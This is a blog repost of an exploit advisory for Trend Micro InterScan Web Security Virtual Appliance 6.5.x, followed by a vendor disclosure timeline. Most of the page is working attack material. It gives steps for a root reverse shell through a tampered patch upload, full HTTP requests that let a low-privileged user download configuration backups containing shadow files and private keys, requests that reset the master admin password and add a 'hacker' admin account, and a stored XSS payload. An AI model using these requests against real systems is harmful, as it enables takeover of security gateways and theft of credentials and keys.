Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86397183

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: [Trend Micro Interscan Web Security Virtual Appliance (IWSVA) 6.5.x Multiple Vulnerabilities]
# Date: [28/11/2016]
# Exploit Author: [SlidingWindow] , Twitter: @Kapil_Khot
# Vendor Homepage: [http://www.trendmicro.com/us/enterprise/network-security/interscan-web-security/virtual-appliance/]
# Version: [Tested on  IWSVA version 6.5-SP2_Build_Linux_1707 and prior versions in 6.5.x series. Older versions may also be affected]
# Tested on: [IWSVA version 6.5-SP2_Build_Linux_1707]
# CVE : [CVE-2016-9269, CVE-2016-9314, CVE-2016-9315, CVE-2016-9316]
# Vendor Security Bulletin: https://success.trendmicro.com/solution/1116672

==================
#Product:-
==================
Trend Micro ‘InterScan Web Security Virtual Appliance (IWSVA)’ is a secure web gateway that combines application control with zero-day exploit detection, advanced anti-malware and ransomware scanning, real-time web reputation, and flexible URL filtering to provide superior Internet threat protection.

==================
#Vulnerabilities:-
==================
Remote Command Execution, Sensitive Information Disclosure, Privilege Escalation and Stored Cross-Site-Scripting (XSS)

========================
#Vulnerability Details:-
========================

#1. Remote Command Execution Vulnerability (CVE-2016-9269):-

The Trend Micro IWSVA can be managed through a web based management console which runs on port#1812. A least privileged user who could just run reports, can run commands on the server as root and gain a root shell.

Proof of Concept:-

a. Download the patch from here. 
b. Edit the 'startgate_patch_apply.sh' and add your Kali machine ip to get reverse shell.
c. Calculate the MD5 hash of 'stargate_patch.tgz'
	md5sum stargate_patch.tgz
d. Update the 'MD5SUM.txt' with new hash.
e. Listen on port#443 on you Kali machine.
f. Upload the patch to the target server:
	http://target_server:1812/servlet/com.trend.iwss.gui.servlet.ManagePatches?action=upload
g. You should have a root shell now.

#2. Sensitive Information Disclosure Vulnerability (CVE-2016-9314):-

The web management console allows administrators to backup and download current configuration of the appliance to their local machine. A low privileged user can abuse the ‘ConfigBackup’ functionality to backup system configuration and download it on his local machine. This backup file contains sensitive information like passwd/shadow files, RSA certificates, Private Keys and Default Passphrase etc.

Exploitation:-

A. Send following POST request to the target:
(Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session)

POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=export HTTP/1.1
Host: <Target_IP>:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&op=save&uploadfile=&beFullyOrPartially=0

B. Send this POST request to download the backup file from server:

POST /servlet/com.trend.iwss.gui.servlet.ConfigBackup?action=download HTTP/1.1
Host: <Target_IP>:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&op=2&ImEx_success=1&pkg_name=%2Fvar%2Fiwss%2Fmigration%2Fexport%2FIWSVA6.5-SP2_Config.tar%0D%0A&backup_return=



#3. Privilege Escalation Vulnerability (CVE-2016-9315):-

A. Change Master Admin's password:

i. Send following POST request to the target:
(Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session)

POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1
Host: <Target_IP>:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&accountop=review&allaccount=admin&allaccount=hacker2&allaccount=hacker4&allaccount=hacker&allaccount=test&accountname=admin&commonname=admin&accounttype=0&password_changed=true&PASS1=abc123&PASS2=abc123&description=Master+Administrator&role_select=0&roleid=0

B. Add a new administrator account 'hacker'

i. Send following POST request to the target:
(Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session)

POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1
Host: <Target_IP>:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&accountop=add&allaccount=admin&accountType=local&accountnamelocal=hacker&accounttype=0&password_changed=true&PASS1=pass1234&PASS2=pass1234&description=hackerUser&role_select=1&roleid=1

#4. Stored Cross-Site-Scripting Vulnerability (CVE-2016-9316):-


i. Send following POST request to the target:
(Replace JSESSIONID and CSRFGuardToken with the ones from your current low privileged user's session)

POST /servlet/com.trend.iwss.gui.servlet.updateaccountadministration HTTP/1.1
Host: <Target_IP>:1812
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=<Low_Privileged_Users_Session_ID>
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 292

CSRFGuardToken=<Low_Privileged_Users_CSRF_TOKEN>&accountop=add&allaccount=admin&accountType=local&accountnamelocal=hacker4"><script>alert(111)</script>&accounttype=0&password_changed=true&PASS1=pass1234&PASS2=pass1234&description=hackerUser4"><script>alert(111)</script>&role_select=1&roleid=1


ii. The script executes when admin visits the ‘Login Accounts’ page.


#Vulnerability Disclosure Timeline:

28/10/2016: First email to disclose the vulnerability to the Trend Micro incident response team
10/11/2016: Second email to ask for acknowledgment
15/11/2016  Acknowledgment from the Trend Micro incident response team for the email reception and saying the vulnerability is under investigation
15/11/2016: CVE Mitre assigned CVE-2016-9269, CVE-2016-9314, CVE-2016-9315 and CVE-2016-9316 for these vulnerabilities.
24/11/2016: Trend Micro incident response team provided a patch for testing.
25/11/2016: Acknowlegdement sent to Trend Micro confirming the fix.
01/12/2016: Third email to ask for remediation status
02/12/2016: Trend Micro incident response team responded stating that the fix will be released by the end of December 2016.
21/12/2016: Fourth email to ask for remediation status
21/12/2016: Trend Micro released the patch for English version.
21/12/2016: Trend Micro incident response team responded stating that the patch for Japanese version will be released in February 2017.
14/02/2017: Trend Micro releases Security Advisory. Link: https://success.trendmicro.com/solution/1116672